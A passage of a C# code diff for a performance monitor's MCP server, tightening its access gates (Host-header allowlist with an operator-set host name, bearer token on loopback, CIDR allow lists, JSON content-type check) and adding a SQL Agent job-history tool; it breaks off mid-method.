+    /// log it a second time.
+    /// </summary>
+    internal static string? NormalizedHostName(string? configuredHostName)
+        => McpNetworkConfig.NormalizeHostName(configuredHostName);
+
+    /// <summary>
+    /// The ONE extra Host the guard admits beside the names it always admits (#5288): the normalized
+    /// <c>mcp.network.hostName</c>, or null for none. NETWORK mode only (review F2): in loopback-only mode, and in
+    /// every mode that degraded to it (a refused certificate), it returns null even for a
+    /// valid name, because that surface is tokenless unless a token was configured and the name exists for the network listener's clients. This
+    /// deliberately differs from the web host (#4220), which admits <c>web.publicBaseUrl</c>'s host in both
+    /// modes: MCP has no link builder, and its loopback surface is tokenless unless a token is configured.
+    ///
+    /// <para>A value that is SET but is not a bare DNS name (<see cref="McpNetworkConfig.NormalizeHostName"/>
+    /// returns null for it while the raw value is not blank) logs ONE Warning and admits nothing: fail closed,
+    /// never an error and never a reason to degrade the listener. The warning is about the config value, so it is
+    /// written in every mode. An unset (blank) value is silent. PURE but for that one log line; it takes the
+    /// logger so a test can read the line, and <paramref name="networkMode"/> must be the FINAL mode, after every
+    /// degrade, because that is the whole rule.</para>
+    /// </summary>
+    internal static string? ResolveAllowedHostName(string? configuredHostName, bool networkMode, ILogger logger)
+    {
+        var hostName = NormalizedHostName(configuredHostName);
+        if (hostName is null)
+        {
+            if (!string.IsNullOrWhiteSpace(configuredHostName))
+            {
+                logger.LogWarning(
+                    "mcp.network.hostName '{HostName}' is not a bare DNS name (no scheme, port, path, wildcard or IP address; "
+                    + "a non-ASCII name must be a valid internationalized domain name, and an xn-- label must decode). "
+                    + "Ignoring it: the Host-header guard "
+                    + "admits no name beyond the ones it always admits. Write the name alone, e.g. mcp.corp.example.",
+                    DarlingHttpRefusalLog.Sanitize(configuredHostName));
+            }
+
+            return null;
+        }
+
+        return networkMode ? hostName : null;
+    }
+
+    /// <summary>
+    /// The listen address the Host guard admits beside the loopback names (#5288): the parsed
+    /// <c>mcp.network.listen</c> while the server is network-exposed, and null on a loopback-only server, which then
+    /// admits loopback names only. That includes a start that network mode degraded out of (a refused certificate): the address was parsed before the degrade and is still in hand, but nothing listens on it
+    /// any more, so a request that names it is not one this server was meant to answer. PURE;
+    /// <paramref name="networkMode"/> must be the FINAL mode, after every degrade, because that is the whole rule.
+    /// Both hosts hand <c>ConfigurePipeline</c> this answer, and the gate tests build their pipelines through it for
+    /// the reason they build through <see cref="ResolveAllowedHostName"/>.
+    /// </summary>
+    internal static IPAddress? ResolveHostGuardListenIp(bool networkMode, IPAddress? networkListenIp)
+        => networkMode ? networkListenIp : null;
+
+    /// <summary>The answer of <see cref="ResolveLoopbackOnlyToken"/>: the token the loopback-only listener's bearer gate
+    /// compares against (empty when none is configured, which leaves the listener open to local clients), and whether
+    /// the start must stop because a token that IS configured cannot be used.</summary>
+    internal readonly record struct LoopbackTokenResolution(bool Refuse, string Token);
+
+    /// <summary>
+    /// The bearer token for a loopback-only start (no <c>mcp.network.listen</c>, or one the bind ladder refused). A
+    /// token the operator configured gates the loopback listener whatever the bind mode: every client presents it,
+    /// exactly as on a network-exposed start. No token configured is <c>(false, "")</c> and the listener serves local
+    /// clients without one, as it always has. A configured token that resolves to nothing or cannot be decrypted
+    /// returns <c>Refuse</c> with one Critical line shaped like the network-mode token lines, because serving the
+    /// listener open would drop the credential the operator asked every client to present. The caller owns what a
+    /// refusal does (it fails the start). Reads the configured values only, never logs the token.
+    /// </summary>
+    internal static LoopbackTokenResolution ResolveLoopbackOnlyToken(McpNetworkConfig? network, ILogger logger)
+    {
+        if (network is null
+            || (string.IsNullOrWhiteSpace(network.EncryptedToken) && string.IsNullOrWhiteSpace(network.Token)))
+        {
+            return new LoopbackTokenResolution(false, "");
+        }
+
+        try
+        {
+            var token = network.ResolveToken(out var usedPlaintext);
+            if (string.IsNullOrWhiteSpace(token))
+            {
+                logger.LogCritical(
+                    "MCP network token resolved to empty after decryption — refusing to serve the loopback listener without it; MCP server not started.");
+                return new LoopbackTokenResolution(true, "");
+            }
+
+            if (usedPlaintext)
+            {
+                logger.LogWarning(
+                    "mcp.network.token is set in plaintext (dev convenience) — prefer mcp.network.encryptedToken " +
+                    "(produced by --encrypt-password). This token gates ALL MCP access, loopback included.");
+            }
+
+            return new LoopbackTokenResolution(false, token);
+        }
+        catch (Exception ex)
+        {
+            logger.LogCritical(
+                "MCP network token could not be decrypted ({Message}) — refusing to serve the loopback listener without it; MCP server not started.",
+                ex.Message);
+            return new LoopbackTokenResolution(true, "");
+        }
     }
 
+    /// <summary>
+    /// The end of the log line the Host guard writes for a refused name (#5288): it names the settings that decide the
+    /// names the guard admits, the way the web dashboard's line names <c>web.publicBaseUrl</c>'s host. The listen
+    /// address and <c>mcp.network.hostName</c> are admitted in network mode only, so the line says "when LAN-exposed"
+    /// of both. Internal so the live-pipeline test and the diagnostics bundle's alias test build their line from this
+    /// text instead of a copy of it.
+    /// </summary>
+    internal const string HostRefusalAdmits =
+        " (a loopback name/IP, mcp.network.listen when LAN-exposed, or mcp.network.hostName when LAN-exposed)";
+
     /// <summary>
     /// Everything AFTER <c>builder.Build()</c>: the Host-allowlist/DNS-rebinding guard (both modes), the
-    /// network-mode bearer-token + CIDR middleware, then <c>MapMcp()</c> and <c>MapMcp("/core")</c>.
+    /// network-mode CIDR check, the bearer token (network mode, and a loopback-only server that kept it, see
+    /// <paramref name="requireTokenWhenLoopbackOnly"/>), the JSON-only POST check, then <c>MapMcp()</c> and <c>MapMcp("/core")</c>.
     /// Extracted (#4128) so a live-HTTP test can build the SAME pipeline against a <c>TestServer</c> instead
     /// of a second, hand-copied one that could silently drift from production. The production call site
     /// passes exactly these values, in exactly this order — see <c>TryStartServerAsync</c>. Instance method,
     /// not static: the gates read <c>_logger</c>, exactly as before the extraction — only the receiver
     /// (this vs. a test-constructed instance) changes.
+    ///
+    /// <para><paramref name="allowedHostName"/> (#5288) is the ONE extra Host the guard admits beside the names it
+    /// always admits: the already-normalized <c>mcp.network.hostName</c>, or null for none. The pipeline admits
+    /// whatever it is given, so the caller owns the rule: <see cref="ResolveAllowedHostName"/> returns null in
+    /// loopback-only and degraded modes (review F2), and a test builds this pipeline through it for the same
+    /// reason it builds it through this method. Optional, so a caller with no name is unchanged.</para>
+    ///
+    /// <para><paramref name="requireTokenWhenLoopbackOnly"/> (#5288) keeps the bearer-token gate on a loopback-only
+    /// server, with no CIDR check beside it. The host passes true when network mode was configured and its token
+    /// resolved, and the start then fell back to loopback-only (a refused TLS certificate): the operator's config
+    /// said every client presents the token, so a lapsed certificate does not leave the local listener open. It is
+    /// also true for a loopback-only start with a configured token (<see cref="ResolveLoopbackOnlyToken"/>). A
+    /// loopback-only server with no token configured passes false and stays tokenless as before. Optional, so every
+    /// other caller is unchanged.</para>
     /// </summary>
     internal void ConfigurePipeline(
         WebApplication app,
         bool networkMode,
         IPAddress? networkListenIp,
-        IPNetwork allowedCidr,
-        string bearerToken)
+        CidrAllowList allowedCidr,
+        string bearerToken,
+        string? allowedHostName = null,
+        bool requireTokenWhenLoopbackOnly = false)
     {
         /* #2479 item 5: every gate below used to refuse silently, so "is my token wrong or my CIDR
            wrong" was answerable only from the client, which sees one opaque status code. One log per
@@ -1079,25 +1539,48 @@ internal void ConfigurePipeline(
            with a clean budget rather than inheriting the previous listener's scan. */
         var refusals = new DarlingHttpRefusalLog();
 
+        /* #5288: HttpRequest.Host hands the guard the DECODED form of a Host header (HostString.FromUriComponent
+           turns a punycode xn-- name into Unicode), so a client that sends xn--bcher-kva.example is seen as the
+           Unicode name. The configured name goes through the same conversion before the guard compares it, so
+           both sides are in the form the framework gives the middleware; an ASCII name comes out unchanged. A
+           malformed punycode label (xn--a) makes the conversion throw ArgumentException; the raw value is kept
+           then, so start-up never fails on it. McpNetworkConfig.NormalizeHostName already refuses such a name, so
+           the production caller never reaches the catch; this method admits whatever it is given, and the web
+           host's web.publicBaseUrl name takes the same block. */
+        var admittedHostName = allowedHostName;
+        if (allowedHostName is not null)
+        {
+            try
+            {
+                admittedHostName = HostString.FromUriComponent(allowedHostName).Host;
+            }
+            catch (ArgumentException)
+            {
+                /* Keep the raw value, as above. */
+            }
+        }
+
         /* DNS-rebinding guard (#1648) — the FIRST middleware, in BOTH modes, mirroring the web host's
-           #1576 fix. The loopback bind is tokenless by design (the network gates below install only in
-           network mode), so a browser ON this host that loads attacker content could be rebound to
-           127.0.0.1:5152 and reach the MCP surface same-origin — and that surface is no longer read-only
-           (custom-view CRUD, add_servers/remove_server, alert-config writes). The application/json content
-           type does NOT save us: under a rebind the browser treats the request as same-origin, so no CORS
-           preflight applies. Require the Host header to name an address we actually bind — a loopback
-           name/IP or, in network mode, the configured listen IP. networkListenIp is null in loopback mode,
-           so ONLY loopback Hosts pass there; a rebound foreign hostname is rejected 400 before the bearer
-           check, the CIDR check, MapMcp, or any tool handler. */
+           #1576 fix. The loopback bind is tokenless unless the operator configured a token (the CIDR check installs only in
+           network mode; the token gate installs in network mode and wherever a token was configured). The Host header
+           must name an address we actually bind: a loopback name/IP or, in network mode, the configured listen IP.
+           networkListenIp is null in loopback mode, so ONLY loopback Hosts pass there; any other Host is answered 400
+           before the bearer check, the CIDR check, MapMcp, or any tool handler.
+
+           #5288: allowedHostName admits ONE more exact name (mcp.network.hostName, case-insensitive, no port),
+           the standard AllowedHosts pattern: a rebind needs a hostname the ATTACKER chooses, and this admits
+           only the one the OPERATOR wrote. The host passes it in network mode only, where the bearer token
+           still gates every request, so the name adds no credential-free way in; in loopback mode it is null
+           and only loopback names pass, exactly as before. */
         app.Use(async (context, next) =>
         {
-            if (!DarlingHostBinding.IsAllowedHost(context.Request.Host.Host, networkListenIp))
+            if (!DarlingHostBinding.IsAllowedHost(context.Request.Host.Host, networkListenIp, admittedHostName))
             {
                 refusals.Report(
                     _logger, "MCP", DarlingRefusalGate.HostAllowlist, StatusCodes.Status400BadRequest,
                     context.Connection.RemoteIpAddress,
                     $"the Host header '{DarlingHttpRefusalLog.Sanitize(context.Request.Host.Host)}' is not an address this endpoint binds"
-                    + " (a loopback name/IP, or mcp.network.listen when LAN-exposed)",
+                    + HostRefusalAdmits,
                     DateTime.UtcNow);
                 context.Response.StatusCode = StatusCodes.Status400BadRequest;
                 return;
@@ -1106,16 +1589,45 @@ preflight applies. Require the Host header to name an address we actually bind 
             await next(context);
         });
 
-        /* Access-control middleware — installed ONLY in network mode (Round-4 #6). The default/degraded
-           loopback-only server stays byte-for-byte today's tokenless local MCP, so existing local clients
-           keep working. Both run BEFORE MapMcp (D3-b: "first ... before any handler/handshake"): the
-           unconditional constant-time bearer token FIRST (NO loopback exemption — in exposed mode even a
-           local client must present the token; that IS the loopback guard against SSRF/sandboxed sockets),
-           then the in-app CIDR check (loopback-exempt so the loopback bind's local clients are not 403'd,
-           Round-4 #2 — it bounds WHO can route to the port, independent of the best-effort firewall). */
+        /* Access-control middleware (Round-4 #6). Both run BEFORE MapMcp (D3-b: "first ... before any
+           handler/handshake"), in this order (#5288):
+
+             1. the in-app CIDR check, in NETWORK mode only. It is loopback-exempt so the loopback bind's local
+                clients are not 403'd (Round-4 #2), and it bounds WHO can route to the port, independent of the
+                best-effort firewall. An address outside allowFrom is answered 403 here, whatever token it sends.
+             2. the unconditional constant-time bearer token (NO loopback exemption: in exposed mode even a local
+                client must present the token; that IS the loopback guard against SSRF/sandboxed sockets). It is
+                installed in network mode, and also on a loopback-only server that network mode fell back to after
+                its token resolved (requireTokenWhenLoopbackOnly): the operator's config said every client presents
+                the token, so a refused certificate does not turn the local listener into a tokenless one. It is
+                also installed on any loopback-only server whose operator configured mcp.network.token or
+                mcp.network.encryptedToken (ResolveLoopbackOnlyToken).
+
+           A loopback-only server with no token configured stays byte-for-byte today's tokenless local MCP, so
+           existing local clients keep working. */
         if (networkMode)
         {
             var cidr = allowedCidr;
+
+            app.Use(async (context, next) =>
+            {
+                if (!IsRemoteAddressAllowed(context.Connection.RemoteIpAddress, cidr))
+                {
+                    refusals.Report(
+                        _logger, "MCP", DarlingRefusalGate.SourceCidr, StatusCodes.Status403Forbidden,
+                        context.Connection.RemoteIpAddress,
+                        $"its address is outside mcp.network.allowFrom ({cidr})",
+                        DateTime.UtcNow);
+                    context.Response.StatusCode = StatusCodes.Status403Forbidden;
+                    return;
+                }
+
+                await next(context);
+            });
+        }
+
+        if (networkMode || requireTokenWhenLoopbackOnly)
+        {
             var token = bearerToken;
 
             app.Use(async (context, next) =>
@@ -1154,29 +1666,38 @@ None of the three says anything about what the token IS. */
 
                 await next(context);
             });
+        }
 
-            app.Use(async (context, next) =>
+        /* A POST must carry a JSON Content-Type; any other type is answered 415. This sits after the Host guard,
+           the CIDR check and the token gate, so a caller that fails a gate is answered 403 or 401 first, and
+           just above MapMcp, in both modes. The transport reads the body as JSON anyway. The check is the web
+           dashboard's own (DarlingWebEndpoints.IsJsonContentType), not a second parser. GET (the event stream)
+           and DELETE (session close) carry no body to type and pass. */
+        app.Use(async (context, next) =>
+        {
+            if (HttpMethods.IsPost(context.Request.Method)
+                && !DarlingWebEndpoints.IsJsonContentType(context.Request.ContentType))
             {
-                if (!IsRemoteAddressAllowed(context.Connection.RemoteIpAddress, cidr))
-                {
-                    refusals.Report(
-                        _logger, "MCP", DarlingRefusalGate.SourceCidr, StatusCodes.Status403Forbidden,
-                        context.Connection.RemoteIpAddress,
-                        $"its address is outside mcp.network.allowFrom ({cidr})",
-                        DateTime.UtcNow);
-                    context.Response.StatusCode = StatusCodes.Status403Forbidden;
-                    return;
-                }
+                var presentedType = context.Request.ContentType;
+                refusals.Report(
+                    _logger, "MCP", DarlingRefusalGate.JsonContentType, StatusCodes.Status415UnsupportedMediaType,
+                    context.Connection.RemoteIpAddress,
+                    string.IsNullOrEmpty(presentedType)
+                        ? "a POST with no Content-Type; this endpoint reads a JSON body"
+                        : $"a POST with the media type '{DarlingHttpRefusalLog.Sanitize(presentedType)}'; this endpoint reads a JSON body",
+                    DateTime.UtcNow);
+                context.Response.StatusCode = StatusCodes.Status415UnsupportedMediaType;
+                return;
+            }
 
-                await next(context);
-            });
-        }
+            await next(context);
+        });
 
         app.MapMcp();
 
         /* #3898 D7: /core, the same endpoint narrowed to DarlingCoreToolProfile's closure via
            ConfigureSessionOptions above. Mapped on the SAME _app after the SAME middleware (the Host-header
-           guard, and in network mode the bearer-token and CIDR checks) — nothing about this route is
+           guard, and in network mode the CIDR check and the bearer token) — nothing about this route is
            exempt from any gate above. / is unchanged and keeps serving every tool, for good. */
         app.MapMcp("/core");
     }
@@ -1216,7 +1737,7 @@ internal enum McpBindReason
         /// <summary>Exposed + managed but no bearer token — fail-closed to loopback (LogCritical).</summary>
         TokenMissing,
 
-        /// <summary>Exposed + managed + token but allowFrom is missing/not a valid CIDR or its family does not match the listen — fail-closed to loopback (LogCritical).</summary>
+        /// <summary>Exposed + managed + token but allowFrom is missing, is not a valid CIDR list (one CIDR, or CIDRs separated by commas, #5288), or an entry's family does not match the listen — fail-closed to loopback (LogCritical).</summary>
         AllowFromInvalid,
     }
 
@@ -1262,9 +1783,9 @@ internal static bool ShouldAddLoopbackListeners(IPAddress listenIp)
     /// PURE in-app CIDR check (D3-c, Round-4 #2): is <paramref name="remoteIp"/> allowed? Loopback
     /// (<c>127.0.0.0/8</c> or <c>::1</c>, incl. an IPv4-mapped-IPv6 form) is ALWAYS allowed — it is not in
     /// <paramref name="allowedCidr"/>, so otherwise the loopback bind's local clients would get 403. Everything
-    /// else must fall inside the CIDR. A null remote (unverifiable origin) fails closed.
+    /// else must fall inside ANY entry of the CIDR list (#5288). A null remote (unverifiable origin) fails closed.
     /// </summary>
-    internal static bool IsRemoteAddressAllowed(IPAddress? remoteIp, IPNetwork allowedCidr)
+    internal static bool IsRemoteAddressAllowed(IPAddress? remoteIp, CidrAllowList allowedCidr)
         => DarlingHostBinding.IsRemoteAddressAllowed(remoteIp, allowedCidr);
 
     /// <summary>
@@ -1380,16 +1901,20 @@ private void LogBindReason(McpConfig mcp, McpBindReason reason)
 
             case McpBindReason.AllowFromInvalid:
                 _logger.Log(level.Value,
-                    "MCP network exposure requested but mcp.network.allowFrom '{AllowFrom}' is not a valid CIDR or its " +
-                    "address family does not match mcp.network.listen — refusing to expose; binding loopback-only. " +
-                    "Use e.g. 192.168.1.0/24 (host bits zeroed, same family as listen).",
+                    "MCP network exposure requested but mcp.network.allowFrom '{AllowFrom}' is not a valid CIDR list or an " +
+                    "entry's address family does not match mcp.network.listen — refusing to expose; binding loopback-only. " +
+                    "Use one CIDR (e.g. 192.168.1.0/24) or several, separated by commas " +
+                    "(e.g. 10.8.0.0/16,192.168.1.5/32): every entry in CIDR form (/32 for one address), with each IPv4 " +
+                    "address written as four plain decimal numbers (no leading zeros) and no IPv6 zone index, and of the same " +
+                    "family as listen (a :: listen takes IPv6 entries only). Host bits are masked (192.168.1.5/24 means 192.168.1.0/24).",
                     mcp.Network?.AllowFrom);
                 break;
 
             case McpBindReason.ManagedModeRequired:
                 _logger.Log(level.Value,
                     "mcp.network.* is set but postgres.managed = false — MCP network exposure is managed-mode (or container, #1804) " +
-                    "only and is ignored; your own PostgreSQL/reverse proxy governs uncontained BYO exposure. Binding loopback-only.");
+                    "only, so listen and allowFrom are ignored; your own PostgreSQL/reverse proxy governs uncontained BYO exposure. " +
+                    "Binding loopback-only. A token in the block (mcp.network.encryptedToken / token) still gates the loopback listener.");
                 break;
 
             default:
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpInstructions.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpInstructions.cs
index d583d3b9a3..fae9c127c5 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpInstructions.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpInstructions.cs
@@ -63,7 +63,7 @@ The writes this server performs (analysis mutes, Custom Views authoring, alert t
 
         ## Tools
 
-        This server exposes 161 tools. 88 are the same names Performance Monitor Lite exposes. The remaining 73 are unique to Darling: thirty-five are the PostgreSQL reads (`get_pg_*`), plus Custom Views, custom-alert-rule, alert-tuning and server-onboarding tools, and central-store-only reads (`get_fleet_overview`, `get_ag_health` — Availability Groups — `get_sweep_reports`, `get_store_metrics`, `get_store_log`). `get_blocking` = Lite's `get_blocked_process_reports`.
+        This server exposes 181 tools. 88 are the same names Performance Monitor Lite exposes. The remaining 93 are unique to Darling: thirty-five are the PostgreSQL reads (`get_pg_*`), plus Custom Views, custom-alert-rule, alert-tuning, server-tag and onboarding tools, and central-store-only reads (`get_fleet_overview`, `get_ag_health` — Availability Groups — `get_sweep_reports`, `get_store_metrics`, `get_store_log`). `get_blocking` = Lite's `get_blocked_process_reports`.
 
         ### Reading an empty result
 
@@ -71,9 +71,11 @@ The writes this server performs (analysis mutes, Custom Views authoring, alert t
 
         Every tool FAILURE — an exception the tool caught while reading — is the same envelope with `status` = `error`: `{"status":"error","message":"Error during <tool_name>: <what went wrong>","hints":{"operation":"<tool_name>"}}`. It is the fifth `status` word and the only one that is not an answer about the data: the four above say what kind of nothing the store holds, `error` says the read did not complete, so retry it or report it rather than reading it as an all-clear. Branch on `status`, not on the message text. Data results keep their own shape and never carry a top-level `message`, which is how the envelope is told apart from data without a schema. A REFUSAL — a `server_name` that does not resolve, an `hours_back` outside its range, a `limit` past its ceiling, a required parameter that was not sent — is neither a failure nor a miss and has its own word: the same envelope with `status` = `invalid`: `{"status":"invalid","message":"<what was refused, and what is accepted>","hints":{"parameter":"<parameter_name>"}}`. The read did not run because the request as given cannot be served; `hints.parameter` names the knob to change and the message says what it accepts, so fix that and call again — retrying it unchanged answers the same way. It is the word the write tools already use for a body that will not parse, and it means the same thing there. Six `status` words, then: four kinds of nothing, one failure (`error`: retry or report), one refusal (`invalid`: correct the call).
 
-        ### PostgreSQL waits come from one of three instruments
+        `window_truncated` true: the window starts before the store's data, not a cut page (`effective_start`, `truncation_note`).
 
-        A PostgreSQL target's wait history comes from exactly ONE instrument: Aurora native > the `pg_wait_sampling` extension > the service-side sampler. Aurora gets `engine_cumulative`; others read `get_pg_wait_sampling`'s `instrument`: `extension_sampled` (10 ms profiler) or `service_sampled` (no extension; once-a-second poll) — a FLOOR, not parity, but better than none.
+        ### PostgreSQL wait instruments
+
+        Waits come from ONE instrument: Aurora native > the `pg_wait_sampling` extension > the service-side sampler. Aurora gets `engine_cumulative`; others read `get_pg_wait_sampling`'s `instrument`: `extension_sampled` or `service_sampled` — a FLOOR, not parity.
 
         ### Asking about a PAST window
 
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpJobTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpJobTools.cs
index cb26b23279..60daf90e9b 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpJobTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpJobTools.cs
@@ -7,6 +7,7 @@
  */
 
 using System;
+using System.Collections.Generic;
 using System.ComponentModel;
 using System.Linq;
 using System.Text.Json;
@@ -16,6 +17,7 @@
 using Npgsql;
 using PerformanceMonitor.Collectors;
 using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
 
 #pragma warning disable CA1707 // MCP tools use snake_case naming convention
 
@@ -42,7 +44,8 @@ public static async Task<string> GetRunningJobs(
 
         try
         {
-            var rows = await DarlingJobReader.GetRunningJobsAsync(postgres, resolved.ServerId, cancellationToken);
+            var read = await DarlingJobReader.ReadRunningJobsAsync(postgres, resolved.ServerId, cancellationToken);
+            var rows = read.Jobs;
             if (rows.Count == 0)
                 return await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "running_jobs", cancellationToken)
                     /* #2546: the msdb case. "No running SQL Agent jobs found" is an affirmative claim about
@@ -67,6 +70,12 @@ so AWS RDS is the only remaining candidate (#2559 removed HasMsdbAccess from thi
                         postgres, resolved.ServerId, resolved.ServerName, "running_jobs",
                         CollectorRuntimePrecondition.RunningJobsPossibleCauses,
                         cancellationToken)
+                    /* The freshness bound (#1812): the last good collection is older than three missed cycles, so "none found" would be
+                       a claim about now that the store cannot back (an offline server, a lost msdb login or a switched-off collector
+                       all look like this). It says when collection last worked. */
+                    ?? (read.LastGoodCollection is DateTime lastGood
+                        ? McpHelpers.Status("unavailable", PerformanceMonitor.Alerting.RunningJobsCurrency.NotCurrentNote(lastGood))
+                        : null)
                     ?? McpHelpers.Status("empty", "No running SQL Agent jobs found (or the running_jobs collector has not run yet).");
 
             var jobs = rows.Select(r => new
@@ -102,4 +111,169 @@ so AWS RDS is the only remaining candidate (#2559 removed HasMsdbAccess from thi
             return McpHelpers.FormatError("get_running_jobs", ex);
         }
     }
+
+    /// <summary>The run statuses <c>get_job_history</c> accepts, by their <c>sysjobhistory</c> codes 0 to 3.</summary>
+    private static readonly string[] HistoryStatuses = ["Failed", "Succeeded", "Retry", "Canceled"];
+
+    [McpServerTool(Name = "get_job_history"), Description("Gets retained SQL Agent job runs ending at as_of, newest first, for a server or fleet. Filters apply before limit. Times UTC. Empty: none matched; not_collected: this engine has no Agent. window_truncated: floor, not limit; effective_start: reach; truncated: limit cut. Agent: agent_running, agent_status_desc, next_run, captured_at (empty: hints); fleet: agents_total/_running (servers with a snapshot), agents_not_running (stopped or unknown).")]
+    public static async Task<string> GetJobHistory(
+        NpgsqlDataSource postgres,
+        [Description("Server name or display name. Omit for every server.")] string? server_name = null,
+        [Description("Hours of history to retrieve. Default 24.")] int hours_back = 24,
+        [Description("Exact job name, case-insensitive.")] string? job_name = null,
+        [Description("Run status: Failed, Succeeded, Retry or Canceled.")] string? status = null,
+        [Description("Exact job category name, case-insensitive.")] string? category = null,
+        [Description("Maximum number of runs to return. Default 100.")] int limit = 100,
+        [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        CancellationToken cancellationToken = default)
+    {
+        var validation = McpHelpers.ValidateWindow(hours_back, as_of, out var windowEnd)
+            ?? McpHelpers.ValidateTop(limit)
+            ?? McpHelpers.ValidateChoice(status, HistoryStatuses, "status");
+        if (validation != null) return validation;
+
+        try
+        {
+            /* Fleet-wide when no server is named: the resolver would auto-pick or refuse, and neither is the
+               answer to "every server". A named server resolves through the registry as everywhere else. */
+            (int ServerId, string ServerName)? scope = null;
+            if (!string.IsNullOrWhiteSpace(server_name))
+            {
+                var (servers, fault) = await DarlingServerResolver.LoadEnabledOrFaultAsync(postgres, cancellationToken);
+                if (fault != null) return fault;
+                var (resolved, error) = DarlingServerResolver.ResolveOrError(servers, server_name);
+                if (error != null) return error;
+                scope = resolved;
+            }
+
+            var filter = new JobHistoryFilter(
+                string.IsNullOrWhiteSpace(job_name) ? null : job_name.Trim(),
+                string.IsNullOrWhiteSpace(status) ? null : Array.FindIndex(HistoryStatuses, s => string.Equals(s, status.Trim(), StringComparison.OrdinalIgnoreCase)),
+                string.IsNullOrWhiteSpace(category) ? null : category.Trim(),
+                windowEnd);
+
+            var requestedStart = windowEnd.AddHours(-hours_back);
+            var fetched = await DarlingJobHistoryReader.GetAsync(
+                postgres, requestedStart, scope?.ServerId, limit + 1, McpCommandDeadlines.ReadSeconds, filter, cancellationToken);
+            var truncated = fetched.Count > limit;
+            var rows = fetched.Take(limit).ToList();
+
+            var source = DataWindowFloor.Source.ForCollectorTable("job_history");
+            var floor = scope is { } one
+                ? await DataWindowFloor.GetForServerAsync(postgres, source, one.ServerId, requestedStart, windowEnd, McpCommandDeadlines.ReadSeconds, cancellationToken)
+                : await DataWindowFloor.GetAsync(postgres, [source], null, requestedStart, windowEnd, McpCommandDeadlines.ReadSeconds, cancellationToken);
+            /* Job history is an event surface: a run's own time can sit long before the collection that stored it,
+               so coverage starts at the earlier of the probe's floor and the oldest run shown. */
+            if (rows.Count > 0 && rows[^1].RunDateTimeUtc is { } oldest && (floor is null || oldest < floor))
+                floor = oldest;
+            var effectiveStart = RawWindowFloor.EffectiveStart(floor, requestedStart);
+            var windowTruncated = RawWindowFloor.IsTruncated(floor, requestedStart);
+
+            if (rows.Count == 0)
+            {
+                if (scope is { } s1)
+                {
+                    var notCollected = await DarlingEngineCapability.NotCollectedStatusAsync(postgres, s1.ServerId, s1.ServerName, "job_history", cancellationToken);
+                    if (notCollected != null) return notCollected;
+                }
+
+                /* An empty answer is where "the Agent was stopped" matters most, so its hints carry the Agent state too. */
+                var emptyHints = new Dictionary<string, object?>();
+                emptyHints["effective_start"] = McpHelpers.FormatEffectiveStart(effectiveStart);
+                emptyHints["window_truncated"] = windowTruncated;
+                AddAgentState(emptyHints, scope, await TryReadAgentStatesAsync(postgres, scope?.ServerId, windowEnd, cancellationToken));
+                return McpHelpers.Status("empty", "No job runs matched in the requested time range.", emptyHints);
+            }
+
+            var runs = rows.Select(r => new
+            {
+                run_time = McpHelpers.FormatEffectiveStart(r.RunDateTimeUtc),
+                server = r.ServerName,
+                job_name = r.JobName,
+                category = r.CategoryName,
+                step = r.StepId == 0 ? "(Job outcome)" : $"{r.StepId}: {r.StepName}",
+                status = r.RunStatus >= 0 && r.RunStatus < HistoryStatuses.Length ? HistoryStatuses[r.RunStatus] : r.RunStatusDesc,
+                duration_seconds = r.RunDurationSeconds,
+                duration_formatted = DarlingJobReader.FormatDuration(r.RunDurationSeconds),
+                retries = r.RetriesAttempted,
+                last_success = McpHelpers.FormatEffectiveStart(r.LastSuccessfulRunUtc),
+                is_long_running = r.IsLongRunning,
+                message = McpHelpers.Truncate(r.Message, 500)
+            }).ToList();
+
+            var envelope = new Dictionary<string, object?>();
+            envelope["server"] = scope?.ServerName;
+            envelope["hours_back"] = hours_back;
+            envelope["effective_start"] = McpHelpers.FormatEffectiveStart(effectiveStart);
+            envelope["window_truncated"] = windowTruncated;
+            envelope["shown"] = runs.Count;
+            envelope["truncated"] = truncated;
+            AddAgentState(envelope, scope, await TryReadAgentStatesAsync(postgres, scope?.ServerId, windowEnd, cancellationToken));
+            envelope["runs"] = runs;
+            return JsonSerializer.Serialize(envelope, McpHelpers.JsonOptions);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            return McpHelpers.FormatError("get_job_history", ex);
+        }
+    }
+
+    /// <summary>
+    /// The Agent state as of the window's end (<paramref name="windowEnd"/>: the <c>as_of</c> anchor, or the resolved now
+    /// when it is omitted), so a past <c>as_of</c> reads what the Agent was doing then, not what it is doing now (#5242).
+    /// The Agent read is an addition to the runs the caller asked for, so its failure must not cost them the runs: any
+    /// error but cancellation reads as "no Agent state" (null), and the answer goes out without the Agent fields, which
+    /// the page already draws as no line (the desktop treats the same read as best-effort).
+    /// </summary>
+    private static async Task<List<DarlingJobReader.AgentState>?> TryReadAgentStatesAsync(
+        NpgsqlDataSource postgres, int? serverId, DateTime windowEnd, CancellationToken cancellationToken)
+    {
+        try
+        {
+            return await DarlingJobReader.ReadLatestAgentStatesAsync(postgres, serverId, windowEnd, cancellationToken);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            return null;
+        }
+    }
+
+    /// <summary>
+    /// Adds the SQL Agent state to an answer's envelope. One named server gets the four fields flat. The fleet gets
+    /// <c>agents_total</c> and <c>agents_running</c>, and <c>agents_not_running</c> lists each server whose Agent is stopped or
+    /// unknown (no next run, so the list stays small). A server with no Agent service is listed there with
+    /// <see cref="DarlingJobReader.NoAgentServiceDescription"/> and a null flag: it is not counted as stopped. The counts cover
+    /// the servers that have a snapshot at or before the window's end. A named server with none reads as unknown, the same
+    /// as one whose snapshot is stale at that instant. A null <paramref name="states"/> (the read failed) adds nothing.
+    /// </summary>
+    private static void AddAgentState(
+        Dictionary<string, object?> envelope, (int ServerId, string ServerName)? scope, List<DarlingJobReader.AgentState>? states)
+    {
+        if (states is null) return;
+        if (scope is null)
